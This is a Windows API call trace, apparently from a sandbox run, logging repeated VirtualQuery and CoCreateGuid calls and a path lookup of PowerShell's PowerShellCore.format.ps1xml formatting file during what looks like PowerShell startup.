[0040.142] VirtualQuery (in: lpAddress=0x16cf94, lpBuffer=0x16df94, dwLength=0x1c | out: lpBuffer=0x16df94*(BaseAddress=0x16c000, AllocationBase=0x130000, AllocationProtect=0x4, RegionSize=0x4000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c
[0040.142] VirtualQuery (in: lpAddress=0x16cfd0, lpBuffer=0x16dfd0, dwLength=0x1c | out: lpBuffer=0x16dfd0*(BaseAddress=0x16c000, AllocationBase=0x130000, AllocationProtect=0x4, RegionSize=0x4000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c
[0040.142] VirtualQuery (in: lpAddress=0x16d298, lpBuffer=0x16e298, dwLength=0x1c | out: lpBuffer=0x16e298*(BaseAddress=0x16d000, AllocationBase=0x130000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c
[0040.143] VirtualQuery (in: lpAddress=0x16d2d4, lpBuffer=0x16e2d4, dwLength=0x1c | out: lpBuffer=0x16e2d4*(BaseAddress=0x16d000, AllocationBase=0x130000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c
[0040.143] VirtualQuery (in: lpAddress=0x16d298, lpBuffer=0x16e298, dwLength=0x1c | out: lpBuffer=0x16e298*(BaseAddress=0x16d000, AllocationBase=0x130000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c
[0040.144] VirtualQuery (in: lpAddress=0x16d2d4, lpBuffer=0x16e2d4, dwLength=0x1c | out: lpBuffer=0x16e2d4*(BaseAddress=0x16d000, AllocationBase=0x130000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c
[0040.144] VirtualQuery (in: lpAddress=0x16d2d4, lpBuffer=0x16e2d4, dwLength=0x1c | out: lpBuffer=0x16e2d4*(BaseAddress=0x16d000, AllocationBase=0x130000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c
[0040.144] VirtualQuery (in: lpAddress=0x16d298, lpBuffer=0x16e298, dwLength=0x1c | out: lpBuffer=0x16e298*(BaseAddress=0x16d000, AllocationBase=0x130000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c
[0040.144] VirtualQuery (in: lpAddress=0x16d2d4, lpBuffer=0x16e2d4, dwLength=0x1c | out: lpBuffer=0x16e2d4*(BaseAddress=0x16d000, AllocationBase=0x130000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c
[0040.144] VirtualQuery (in: lpAddress=0x16d298, lpBuffer=0x16e298, dwLength=0x1c | out: lpBuffer=0x16e298*(BaseAddress=0x16d000, AllocationBase=0x130000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c
[0040.144] VirtualQuery (in: lpAddress=0x16d2d4, lpBuffer=0x16e2d4, dwLength=0x1c | out: lpBuffer=0x16e2d4*(BaseAddress=0x16d000, AllocationBase=0x130000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c
[0040.144] VirtualQuery (in: lpAddress=0x16d298, lpBuffer=0x16e298, dwLength=0x1c | out: lpBuffer=0x16e298*(BaseAddress=0x16d000, AllocationBase=0x130000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c
[0040.145] VirtualQuery (in: lpAddress=0x16d2d4, lpBuffer=0x16e2d4, dwLength=0x1c | out: lpBuffer=0x16e2d4*(BaseAddress=0x16d000, AllocationBase=0x130000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c
[0040.145] VirtualQuery (in: lpAddress=0x16d13c, lpBuffer=0x16e13c, dwLength=0x1c | out: lpBuffer=0x16e13c*(BaseAddress=0x16d000, AllocationBase=0x130000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c
[0040.145] VirtualQuery (in: lpAddress=0x16d298, lpBuffer=0x16e298, dwLength=0x1c | out: lpBuffer=0x16e298*(BaseAddress=0x16d000, AllocationBase=0x130000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c
[0040.146] VirtualQuery (in: lpAddress=0x16d2d4, lpBuffer=0x16e2d4, dwLength=0x1c | out: lpBuffer=0x16e2d4*(BaseAddress=0x16d000, AllocationBase=0x130000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c
[0040.146] VirtualQuery (in: lpAddress=0x16d298, lpBuffer=0x16e298, dwLength=0x1c | out: lpBuffer=0x16e298*(BaseAddress=0x16d000, AllocationBase=0x130000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c
[0040.146] VirtualQuery (in: lpAddress=0x16d2d4, lpBuffer=0x16e2d4, dwLength=0x1c | out: lpBuffer=0x16e2d4*(BaseAddress=0x16d000, AllocationBase=0x130000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c
[0040.147] CoCreateGuid (in: pguid=0x16e648 | out: pguid=0x16e648*(Data1=0x36e811b5, Data2=0x1c78, Data3=0x48e7, Data4=([0]=0x9f, [1]=0xec, [2]=0x5b, [3]=0x92, [4]=0x80, [5]=0x16, [6]=0xae, [7]=0x56))) returned 0x0
[0040.148] VirtualQuery (in: lpAddress=0x16cf94, lpBuffer=0x16df94, dwLength=0x1c | out: lpBuffer=0x16df94*(BaseAddress=0x16c000, AllocationBase=0x130000, AllocationProtect=0x4, RegionSize=0x4000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c
[0040.148] VirtualQuery (in: lpAddress=0x16cfd0, lpBuffer=0x16dfd0, dwLength=0x1c | out: lpBuffer=0x16dfd0*(BaseAddress=0x16c000, AllocationBase=0x130000, AllocationProtect=0x4, RegionSize=0x4000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c
[0040.149] VirtualQuery (in: lpAddress=0x16d09c, lpBuffer=0x16e09c, dwLength=0x1c | out: lpBuffer=0x16e09c*(BaseAddress=0x16d000, AllocationBase=0x130000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c
[0040.149] CoCreateGuid (in: pguid=0x16e648 | out: pguid=0x16e648*(Data1=0x40257dcb, Data2=0x4bb9, Data3=0x41d1, Data4=([0]=0xab, [1]=0xf9, [2]=0xf6, [3]=0x29, [4]=0x43, [5]=0x46, [6]=0xc5, [7]=0x66))) returned 0x0
[0040.149] CoCreateGuid (in: pguid=0x16e648 | out: pguid=0x16e648*(Data1=0x80bbb1c2, Data2=0x9cbf, Data3=0x463d, Data4=([0]=0xb9, [1]=0xa6, [2]=0x6, [3]=0x59, [4]=0x5e, [5]=0x9f, [6]=0xa6, [7]=0x5c))) returned 0x0
[0040.150] CoCreateGuid (in: pguid=0x16e648 | out: pguid=0x16e648*(Data1=0xb7e834fa, Data2=0xfb94, Data3=0x448a, Data4=([0]=0x9e, [1]=0x7, [2]=0xde, [3]=0xe4, [4]=0xda, [5]=0xf7, [6]=0x47, [7]=0x70))) returned 0x0
[0040.150] CoCreateGuid (in: pguid=0x16e648 | out: pguid=0x16e648*(Data1=0x248d0fed, Data2=0xebfe, Data3=0x4deb, Data4=([0]=0x95, [1]=0x1a, [2]=0x49, [3]=0x47, [4]=0x34, [5]=0x80, [6]=0x97, [7]=0xf6))) returned 0x0
[0040.151] CoCreateGuid (in: pguid=0x16e648 | out: pguid=0x16e648*(Data1=0x57d60dc2, Data2=0xcc0, Data3=0x4d93, Data4=([0]=0xb2, [1]=0xb6, [2]=0x69, [3]=0x96, [4]=0x58, [5]=0x22, [6]=0x76, [7]=0xa5))) returned 0x0
[0040.151] CoCreateGuid (in: pguid=0x16e648 | out: pguid=0x16e648*(Data1=0x7572238b, Data2=0x2101, Data3=0x417d, Data4=([0]=0x8c, [1]=0x20, [2]=0x7a, [3]=0xdc, [4]=0x25, [5]=0xfe, [6]=0x6e, [7]=0xfd))) returned 0x0
[0040.151] CoCreateGuid (in: pguid=0x16e648 | out: pguid=0x16e648*(Data1=0xd62c8b29, Data2=0x5392, Data3=0x414d, Data4=([0]=0x80, [1]=0x4c, [2]=0xe, [3]=0x79, [4]=0x9b, [5]=0x24, [6]=0xf4, [7]=0xd0))) returned 0x0
[0040.152] CoCreateGuid (in: pguid=0x16e648 | out: pguid=0x16e648*(Data1=0x9d8a846, Data2=0x1b35, Data3=0x4e07, Data4=([0]=0xa2, [1]=0x0, [2]=0xcc, [3]=0xeb, [4]=0x34, [5]=0x6f, [6]=0x2b, [7]=0xe6))) returned 0x0
[0040.153] VirtualQuery (in: lpAddress=0x16cef4, lpBuffer=0x16def4, dwLength=0x1c | out: lpBuffer=0x16def4*(BaseAddress=0x16c000, AllocationBase=0x130000, AllocationProtect=0x4, RegionSize=0x4000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c
[0040.153] VirtualQuery (in: lpAddress=0x16cef4, lpBuffer=0x16def4, dwLength=0x1c | out: lpBuffer=0x16def4*(BaseAddress=0x16c000, AllocationBase=0x130000, AllocationProtect=0x4, RegionSize=0x4000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c
[0040.153] VirtualQuery (in: lpAddress=0x16cf30, lpBuffer=0x16df30, dwLength=0x1c | out: lpBuffer=0x16df30*(BaseAddress=0x16c000, AllocationBase=0x130000, AllocationProtect=0x4, RegionSize=0x4000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c
[0040.153] VirtualQuery (in: lpAddress=0x16cef4, lpBuffer=0x16def4, dwLength=0x1c | out: lpBuffer=0x16def4*(BaseAddress=0x16c000, AllocationBase=0x130000, AllocationProtect=0x4, RegionSize=0x4000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c
[0040.153] VirtualQuery (in: lpAddress=0x16cf30, lpBuffer=0x16df30, dwLength=0x1c | out: lpBuffer=0x16df30*(BaseAddress=0x16c000, AllocationBase=0x130000, AllocationProtect=0x4, RegionSize=0x4000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c
[0040.153] VirtualQuery (in: lpAddress=0x16cef4, lpBuffer=0x16def4, dwLength=0x1c | out: lpBuffer=0x16def4*(BaseAddress=0x16c000, AllocationBase=0x130000, AllocationProtect=0x4, RegionSize=0x4000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c
[0040.154] VirtualQuery (in: lpAddress=0x16cf30, lpBuffer=0x16df30, dwLength=0x1c | out: lpBuffer=0x16df30*(BaseAddress=0x16c000, AllocationBase=0x130000, AllocationProtect=0x4, RegionSize=0x4000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c
[0040.154] VirtualQuery (in: lpAddress=0x16cef4, lpBuffer=0x16def4, dwLength=0x1c | out: lpBuffer=0x16def4*(BaseAddress=0x16c000, AllocationBase=0x130000, AllocationProtect=0x4, RegionSize=0x4000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c
[0040.154] VirtualQuery (in: lpAddress=0x16cf30, lpBuffer=0x16df30, dwLength=0x1c | out: lpBuffer=0x16df30*(BaseAddress=0x16c000, AllocationBase=0x130000, AllocationProtect=0x4, RegionSize=0x4000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c
[0040.155] VirtualQuery (in: lpAddress=0x16cef4, lpBuffer=0x16def4, dwLength=0x1c | out: lpBuffer=0x16def4*(BaseAddress=0x16c000, AllocationBase=0x130000, AllocationProtect=0x4, RegionSize=0x4000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c
[0040.155] VirtualQuery (in: lpAddress=0x16cf30, lpBuffer=0x16df30, dwLength=0x1c | out: lpBuffer=0x16df30*(BaseAddress=0x16c000, AllocationBase=0x130000, AllocationProtect=0x4, RegionSize=0x4000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c
[0040.155] VirtualQuery (in: lpAddress=0x16cef4, lpBuffer=0x16def4, dwLength=0x1c | out: lpBuffer=0x16def4*(BaseAddress=0x16c000, AllocationBase=0x130000, AllocationProtect=0x4, RegionSize=0x4000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c
[0040.156] VirtualQuery (in: lpAddress=0x16cf30, lpBuffer=0x16df30, dwLength=0x1c | out: lpBuffer=0x16df30*(BaseAddress=0x16c000, AllocationBase=0x130000, AllocationProtect=0x4, RegionSize=0x4000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c
[0040.156] VirtualQuery (in: lpAddress=0x16d298, lpBuffer=0x16e298, dwLength=0x1c | out: lpBuffer=0x16e298*(BaseAddress=0x16d000, AllocationBase=0x130000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c
[0040.156] VirtualQuery (in: lpAddress=0x16d2d4, lpBuffer=0x16e2d4, dwLength=0x1c | out: lpBuffer=0x16e2d4*(BaseAddress=0x16d000, AllocationBase=0x130000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c
[0040.157] VirtualQuery (in: lpAddress=0x16d298, lpBuffer=0x16e298, dwLength=0x1c | out: lpBuffer=0x16e298*(BaseAddress=0x16d000, AllocationBase=0x130000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c
[0040.157] VirtualQuery (in: lpAddress=0x16d2d4, lpBuffer=0x16e2d4, dwLength=0x1c | out: lpBuffer=0x16e2d4*(BaseAddress=0x16d000, AllocationBase=0x130000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c
[0040.157] VirtualQuery (in: lpAddress=0x16d2d4, lpBuffer=0x16e2d4, dwLength=0x1c | out: lpBuffer=0x16e2d4*(BaseAddress=0x16d000, AllocationBase=0x130000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c
[0040.157] VirtualQuery (in: lpAddress=0x16d298, lpBuffer=0x16e298, dwLength=0x1c | out: lpBuffer=0x16e298*(BaseAddress=0x16d000, AllocationBase=0x130000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c
[0040.158] VirtualQuery (in: lpAddress=0x16d2d4, lpBuffer=0x16e2d4, dwLength=0x1c | out: lpBuffer=0x16e2d4*(BaseAddress=0x16d000, AllocationBase=0x130000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c
[0040.158] CoCreateGuid (in: pguid=0x16e648 | out: pguid=0x16e648*(Data1=0x74697480, Data2=0xd7eb, Data3=0x428d, Data4=([0]=0xb4, [1]=0x5b, [2]=0x33, [3]=0xa4, [4]=0xac, [5]=0x43, [6]=0xd8, [7]=0x46))) returned 0x0
[0040.158] VirtualQuery (in: lpAddress=0x16d2c4, lpBuffer=0x16e2c4, dwLength=0x1c | out: lpBuffer=0x16e2c4*(BaseAddress=0x16d000, AllocationBase=0x130000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c
[0040.158] VirtualQuery (in: lpAddress=0x16d2c4, lpBuffer=0x16e2c4, dwLength=0x1c | out: lpBuffer=0x16e2c4*(BaseAddress=0x16d000, AllocationBase=0x130000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c
[0040.159] VirtualQuery (in: lpAddress=0x16d300, lpBuffer=0x16e300, dwLength=0x1c | out: lpBuffer=0x16e300*(BaseAddress=0x16d000, AllocationBase=0x130000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c
[0040.159] VirtualQuery (in: lpAddress=0x16d2c4, lpBuffer=0x16e2c4, dwLength=0x1c | out: lpBuffer=0x16e2c4*(BaseAddress=0x16d000, AllocationBase=0x130000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c
[0040.159] VirtualQuery (in: lpAddress=0x16d300, lpBuffer=0x16e300, dwLength=0x1c | out: lpBuffer=0x16e300*(BaseAddress=0x16d000, AllocationBase=0x130000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c
[0040.159] VirtualQuery (in: lpAddress=0x16d2c4, lpBuffer=0x16e2c4, dwLength=0x1c | out: lpBuffer=0x16e2c4*(BaseAddress=0x16d000, AllocationBase=0x130000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c
[0040.159] VirtualQuery (in: lpAddress=0x16d300, lpBuffer=0x16e300, dwLength=0x1c | out: lpBuffer=0x16e300*(BaseAddress=0x16d000, AllocationBase=0x130000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c
[0040.159] VirtualQuery (in: lpAddress=0x16d2c4, lpBuffer=0x16e2c4, dwLength=0x1c | out: lpBuffer=0x16e2c4*(BaseAddress=0x16d000, AllocationBase=0x130000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c
[0040.160] VirtualQuery (in: lpAddress=0x16d300, lpBuffer=0x16e300, dwLength=0x1c | out: lpBuffer=0x16e300*(BaseAddress=0x16d000, AllocationBase=0x130000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c
[0040.160] VirtualQuery (in: lpAddress=0x16d2c4, lpBuffer=0x16e2c4, dwLength=0x1c | out: lpBuffer=0x16e2c4*(BaseAddress=0x16d000, AllocationBase=0x130000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c
[0040.160] VirtualQuery (in: lpAddress=0x16d300, lpBuffer=0x16e300, dwLength=0x1c | out: lpBuffer=0x16e300*(BaseAddress=0x16d000, AllocationBase=0x130000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c
[0040.160] VirtualQuery (in: lpAddress=0x16d2c4, lpBuffer=0x16e2c4, dwLength=0x1c | out: lpBuffer=0x16e2c4*(BaseAddress=0x16d000, AllocationBase=0x130000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c
[0040.161] VirtualQuery (in: lpAddress=0x16d300, lpBuffer=0x16e300, dwLength=0x1c | out: lpBuffer=0x16e300*(BaseAddress=0x16d000, AllocationBase=0x130000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c
[0040.161] VirtualQuery (in: lpAddress=0x16d298, lpBuffer=0x16e298, dwLength=0x1c | out: lpBuffer=0x16e298*(BaseAddress=0x16d000, AllocationBase=0x130000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c
[0040.161] VirtualQuery (in: lpAddress=0x16d2d4, lpBuffer=0x16e2d4, dwLength=0x1c | out: lpBuffer=0x16e2d4*(BaseAddress=0x16d000, AllocationBase=0x130000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c
[0040.162] VirtualQuery (in: lpAddress=0x16d298, lpBuffer=0x16e298, dwLength=0x1c | out: lpBuffer=0x16e298*(BaseAddress=0x16d000, AllocationBase=0x130000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c
[0040.162] VirtualQuery (in: lpAddress=0x16d2d4, lpBuffer=0x16e2d4, dwLength=0x1c | out: lpBuffer=0x16e2d4*(BaseAddress=0x16d000, AllocationBase=0x130000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c
[0040.162] VirtualQuery (in: lpAddress=0x16d2d4, lpBuffer=0x16e2d4, dwLength=0x1c | out: lpBuffer=0x16e2d4*(BaseAddress=0x16d000, AllocationBase=0x130000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c
[0040.162] VirtualQuery (in: lpAddress=0x16d298, lpBuffer=0x16e298, dwLength=0x1c | out: lpBuffer=0x16e298*(BaseAddress=0x16d000, AllocationBase=0x130000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c
[0040.162] VirtualQuery (in: lpAddress=0x16d2d4, lpBuffer=0x16e2d4, dwLength=0x1c | out: lpBuffer=0x16e2d4*(BaseAddress=0x16d000, AllocationBase=0x130000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c
[0040.162] CoCreateGuid (in: pguid=0x16e648 | out: pguid=0x16e648*(Data1=0xd4939396, Data2=0xbcac, Data3=0x462b, Data4=([0]=0x90, [1]=0x92, [2]=0x26, [3]=0x1f, [4]=0xea, [5]=0xb1, [6]=0x34, [7]=0x21))) returned 0x0
[0040.163] VirtualQuery (in: lpAddress=0x16d298, lpBuffer=0x16e298, dwLength=0x1c | out: lpBuffer=0x16e298*(BaseAddress=0x16d000, AllocationBase=0x130000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c
[0040.163] VirtualQuery (in: lpAddress=0x16d2d4, lpBuffer=0x16e2d4, dwLength=0x1c | out: lpBuffer=0x16e2d4*(BaseAddress=0x16d000, AllocationBase=0x130000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c
[0040.163] VirtualQuery (in: lpAddress=0x16d298, lpBuffer=0x16e298, dwLength=0x1c | out: lpBuffer=0x16e298*(BaseAddress=0x16d000, AllocationBase=0x130000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c
[0040.163] VirtualQuery (in: lpAddress=0x16d2d4, lpBuffer=0x16e2d4, dwLength=0x1c | out: lpBuffer=0x16e2d4*(BaseAddress=0x16d000, AllocationBase=0x130000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c
[0040.164] VirtualQuery (in: lpAddress=0x16d2d4, lpBuffer=0x16e2d4, dwLength=0x1c | out: lpBuffer=0x16e2d4*(BaseAddress=0x16d000, AllocationBase=0x130000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c
[0040.164] VirtualQuery (in: lpAddress=0x16d298, lpBuffer=0x16e298, dwLength=0x1c | out: lpBuffer=0x16e298*(BaseAddress=0x16d000, AllocationBase=0x130000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c
[0040.164] VirtualQuery (in: lpAddress=0x16d2d4, lpBuffer=0x16e2d4, dwLength=0x1c | out: lpBuffer=0x16e2d4*(BaseAddress=0x16d000, AllocationBase=0x130000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c
[0040.164] VirtualQuery (in: lpAddress=0x16d298, lpBuffer=0x16e298, dwLength=0x1c | out: lpBuffer=0x16e298*(BaseAddress=0x16d000, AllocationBase=0x130000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c
[0040.164] VirtualQuery (in: lpAddress=0x16d2d4, lpBuffer=0x16e2d4, dwLength=0x1c | out: lpBuffer=0x16e2d4*(BaseAddress=0x16d000, AllocationBase=0x130000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c
[0040.164] VirtualQuery (in: lpAddress=0x16d298, lpBuffer=0x16e298, dwLength=0x1c | out: lpBuffer=0x16e298*(BaseAddress=0x16d000, AllocationBase=0x130000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c
[0040.165] VirtualQuery (in: lpAddress=0x16d2d4, lpBuffer=0x16e2d4, dwLength=0x1c | out: lpBuffer=0x16e2d4*(BaseAddress=0x16d000, AllocationBase=0x130000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c
[0040.165] VirtualQuery (in: lpAddress=0x16d13c, lpBuffer=0x16e13c, dwLength=0x1c | out: lpBuffer=0x16e13c*(BaseAddress=0x16d000, AllocationBase=0x130000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c
[0040.165] VirtualQuery (in: lpAddress=0x16d298, lpBuffer=0x16e298, dwLength=0x1c | out: lpBuffer=0x16e298*(BaseAddress=0x16d000, AllocationBase=0x130000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c
[0040.165] VirtualQuery (in: lpAddress=0x16d2d4, lpBuffer=0x16e2d4, dwLength=0x1c | out: lpBuffer=0x16e2d4*(BaseAddress=0x16d000, AllocationBase=0x130000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c
[0040.166] VirtualQuery (in: lpAddress=0x16d298, lpBuffer=0x16e298, dwLength=0x1c | out: lpBuffer=0x16e298*(BaseAddress=0x16d000, AllocationBase=0x130000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c
[0040.166] VirtualQuery (in: lpAddress=0x16d2d4, lpBuffer=0x16e2d4, dwLength=0x1c | out: lpBuffer=0x16e2d4*(BaseAddress=0x16d000, AllocationBase=0x130000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c
[0040.166] CoCreateGuid (in: pguid=0x16e648 | out: pguid=0x16e648*(Data1=0x47737fed, Data2=0xfc01, Data3=0x46f4, Data4=([0]=0x9c, [1]=0x45, [2]=0xf4, [3]=0x95, [4]=0xd7, [5]=0x7e, [6]=0x71, [7]=0x41))) returned 0x0
[0040.166] CoCreateGuid (in: pguid=0x16e648 | out: pguid=0x16e648*(Data1=0x52c14d0c, Data2=0x1843, Data3=0x4f0d, Data4=([0]=0xb0, [1]=0x1, [2]=0x10, [3]=0x1, [4]=0xed, [5]=0x3c, [6]=0x2d, [7]=0xe6))) returned 0x0
[0040.167] CoCreateGuid (in: pguid=0x16e648 | out: pguid=0x16e648*(Data1=0x8572f9ab, Data2=0x3f9, Data3=0x4ee4, Data4=([0]=0xa1, [1]=0xca, [2]=0x63, [3]=0x9, [4]=0x41, [5]=0xb6, [6]=0x77, [7]=0xbb))) returned 0x0
[0040.167] CoCreateGuid (in: pguid=0x16e648 | out: pguid=0x16e648*(Data1=0xce2dc094, Data2=0x87bd, Data3=0x4058, Data4=([0]=0x8a, [1]=0xda, [2]=0x43, [3]=0xbd, [4]=0x5, [5]=0x73, [6]=0xb0, [7]=0x66))) returned 0x0
[0040.168] CoCreateGuid (in: pguid=0x16e648 | out: pguid=0x16e648*(Data1=0xa85d19a5, Data2=0x4e9b, Data3=0x47ef, Data4=([0]=0xb0, [1]=0xd1, [2]=0x8d, [3]=0x7a, [4]=0xeb, [5]=0xf0, [6]=0x4b, [7]=0x63))) returned 0x0
[0040.168] VirtualQuery (in: lpAddress=0x16d1cc, lpBuffer=0x16e1cc, dwLength=0x1c | out: lpBuffer=0x16e1cc*(BaseAddress=0x16d000, AllocationBase=0x130000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c
[0040.169] VirtualQuery (in: lpAddress=0x16d208, lpBuffer=0x16e208, dwLength=0x1c | out: lpBuffer=0x16e208*(BaseAddress=0x16d000, AllocationBase=0x130000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c
[0040.169] CoCreateGuid (in: pguid=0x16e648 | out: pguid=0x16e648*(Data1=0xc85ebb26, Data2=0x5189, Data3=0x45c8, Data4=([0]=0xb8, [1]=0xda, [2]=0xe3, [3]=0x24, [4]=0x97, [5]=0x62, [6]=0xfa, [7]=0xc8))) returned 0x0
[0040.169] CoCreateGuid (in: pguid=0x16e648 | out: pguid=0x16e648*(Data1=0xbe05976a, Data2=0xcc34, Data3=0x4da1, Data4=([0]=0x9b, [1]=0x4c, [2]=0x2c, [3]=0xc6, [4]=0x7f, [5]=0xf7, [6]=0xb, [7]=0x57))) returned 0x0
[0040.169] CoCreateGuid (in: pguid=0x16e648 | out: pguid=0x16e648*(Data1=0x3282c850, Data2=0xe1aa, Data3=0x46e6, Data4=([0]=0x9c, [1]=0xd5, [2]=0xf4, [3]=0x52, [4]=0x7b, [5]=0xc2, [6]=0x72, [7]=0x86))) returned 0x0
[0040.169] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\PowerShellCore.format.ps1xml", nBufferLength=0x105, lpBuffer=0x16e0ec, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\PowerShellCore.format.ps1xml", lpFilePart=0x0) returned 0x47
[0040.169] GetLastError () returned 0x0
[0040.169] SetErrorMode (uMode=0x1) returned 0x1
